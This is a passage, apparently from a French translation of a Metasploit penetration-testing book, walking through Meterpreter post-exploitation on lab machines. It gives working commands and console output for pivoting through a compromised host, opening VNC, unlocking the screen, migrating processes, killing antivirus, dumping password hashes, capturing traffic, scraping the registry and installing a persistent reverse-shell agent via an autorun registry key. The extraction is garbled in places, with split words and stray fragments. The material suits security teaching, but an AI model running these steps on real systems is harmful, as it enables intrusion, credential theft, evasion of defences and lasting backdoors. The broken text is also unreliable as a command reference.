• Aucun résultat trouvé

via Metasploit pour faire transiter les communications par le biais de notre machine exploitée vers la machine cible qui se trouve sur le sous-réseau local. Dans ce cas, si le heap overflow réussit, nous devrions obtenir un reverse shell depuis 192.168.33.132, simplement en nous appuyant sur les

communications réseau sur la machine déjà compromise. Quand nous exécutons l’exploit avec exploit, nous voyons en ❹ qu’une connexion est établie comme prévu sur une autre machine, pas la machine Windows XP. Maintenant, pour scanner les ports à travers le pivot, nous utiliserons le module de scan scanner/portscan/tcp, qui est conçu pour gérer le routage par le biais de Metasploit.

Note

Vous pouvez également utiliser le scanner scanner/portscan/tcp pour effectuer une série de scans de ports à travers votre cible compromise sur le sous-réseau local. Nous n’entrerons pas dans les détails ici, mais sachez que vous pouvez effectuer un scan de ports sur un réseau compromis grâce à ce module.

Dans les exemples précédents, nous avons utilisé la commande route add après avoir compromis le système. Une alternative serait, afin d’ajouter des routes automatiquement à Meterpreter sur une nouvelle session, d’utiliser load auto_add_route :

msf exploit(ms08_067_netapi) > load auto_add_route [*] Successfully loaded plugin: auto_add_route

msf exploit(ms08_067_netapi) > e xploit [*] Started reverse handler on 10.10.1.129:443 [*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)

[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1

montre le bureau cible.

meterpreter > run vnc

[*] Creating a VNC reverse tcp stager: LHOST=192.168.33.129 LPORT=4545) [*] Running payload handler

[*] VNC stager executable 37888 bytes long

[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.33.129:4545...

[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)

Cela nous donnera une interface graphique VNC sur la machine cible et nous permettre d’interagir via un bureau.

meterpreter > run sc re e n_unloc k

[*] OS ’Windows XP (Build 2600, Service Pack 2).’ found in known targets [*] patching...

[*] done!

Migration d’un processus

Souvent, lorsque nous nous attaquons à un système et exploitons un service tel qu’Internet Explorer, si l’utilisateur ferme le navigateur cible, la session Meterpreter est également fermée et nous perdons notre connexion à la cible. Pour éviter ce problème, on peut utiliser le module de postexploitation migrate, illustré ci-après, pour faire migrer le service vers un espace mémoire qui ne se clos pas lorsque la cible ferme le navigateur. En migrant vers un autre processus plus stable, nous nous assurons que le processus ne sera pas fermé et que nous maintiendrons notre connexion au système.

meterpreter > run post/windows/m anag e /m ig rate [*] Running module against V-MAC-XP

[*] Current server process: revterp.exe (2436) [*] Migrating to explorer.exe...

[*] Migrating into process ID 816

[*] New server process: Explorer.EXE (816)

Tuer un logiciel antivirus

Un logiciel antivirus peut bloquer certaines tâches. Au cours de tests de pénétration, nous avons vu des antivirus "plus intelligents" ou des produits de prévention d’intrusion bloquant notre capacité à exécuter certains vecteurs d’attaque. Dans de tels cas, on peut exécuter le script killav pour stopper les processus empêchant l’exécution de nos tâches.

meterpreter > run killav

[*] Killing Antivirus services on the target...

[*] Killing off cmd.exe...

[*] Killing off cmd.exe...

Obtenir les hashes des mots de passe du système

L’obtention d’une copie des hashes du système nous permet d’exécuter l’attaque pass-the-hash ou de bruteforcer le hash pour révéler le mot de passe en texte clair. Nous pouvons obtenir les mots de passe hachés avec la commande run hashdump :

meterpreter > run hashdum p [*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Voir tout le trafic sur un ordinateur cible

Pour voir l’ensemble du trafic sur une cible, nous pouvons lancer un enregistreur de paquets. Tout ce qui est capturé par packetrecorder est enregistré dans un fichier au format .pcap à analyser avec un outil tel que Wireshark.

Dans cette introduction, nous exécutons le script packetrecorder avec l’option -i 1, qui spécifie l’interface que nous voulons utiliser pour effectuer les captures de paquets :

meterpreter > run pac ke tre c orde r -i 1 [*] Starting Packet capture on interface 1 [*] Packet capture started

Scraping d’un système

Le script scraper énumère tout ce que vous pourriez vouloir d’un système. Il va récupérer les noms d’utilisateur et les mots de passe, télécharger l’ensemble du registre, récupérer les hashes de mots de passe, recueillir des informations sur le système et exporter la HKEY_CURRENT_USER (HKCU).

meterpreter > run sc rape r

[*] New session on 192.168.33.130:1095...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)

Utiliser Persistence

Le script persistence de Meterpreter permet d’injecter un agent Meterpreter pour s’assurer que Meterpreter restera opérationnel, même après le redémarrage du système cible. S’il s’agit d’une reverse

connection, vous pouvez définir la période à laquelle la cible tentera régulièrement de se connecter à la machine attaquante. Si c’est une bind, vous pouvez vous reconnecter à l’interface au moment voulu.

Avertissement

Si vous utilisez cette fonctionnalité, assurez-vous de la retirer lorsque vous avez terminé. Si vous oubliez de le faire, n’importe quel attaquant peut également accéder au système sans authentification !

Dans le shell suivant, nous lançons persistence et indiquons à Windows d’activer automatiquement l’agent au moment du démarrage (-X), d’attendre cinquante secondes (-i 50) avant d’effectuer une nouvelle tentative de connexion, sur le port 443 (-p 443) et de se connecter à l’IP 192.168.33.129. Nous lançons ensuite un listener pour l’agent en ❶ avec use multi/handler et, après avoir réglé quelques options et exécuté l’exploit, nous voyons en ❸ que la connexion revient comme prévu.

meterpreter > run pe rsiste nc e -X -i 50 -p 443 -r 192.168.33.129

[*] Creating a persistent agent: LHOST=192.168.33.129 LPORT=443 (interval=50 onboot=true) [*] Persistent agent script is 316384 bytes long

[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs [*] Agent executed with PID 3160

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc ❷ [*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

xEYnaHedooc

msf> use m ulti/handle r ❶

msf exploit(handler) > se t payload windows/m e te rpre te r/re ve rse _tc p payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > se t LPORT 443 LPORT => 443

msf exploit(handler) > se t LHOST 192.168.33.129 LHOST => 192.168.33.129

msf exploit(handler) > e xploit

[*] Started reverse handler on 192.168.33.129:443 [*] Starting the payload handler...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120) ❸

À ce jour, la seule façon d’éliminer l’agent Meterpreter est de supprimer l’entrée dans

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ dans la base de registre et de supprimer le code VBScript situé dans C:\WINDOWS\TEMP\. Assurez-vous de noter les clés de registre et les emplacements (tels que

HKLM\Software\Microsoft\ Windows\CurrentVersion\Run\xEYnaHedooc ❷) pour les supprimer manuellement.

Généralement, vous pouvez le faire via Meterpreter. Sinon, renvoyez-les vers un shell et retirez-les de cette façon. Si vous vous sentez plus à l’aise avec une interface graphique, vous pouvez utiliser run vnc et supprimer le script avec regedit (notez que les clés de registre vont changer chaque fois, alors assurez-vous de noter correctement où Metasploit les a ajoutées).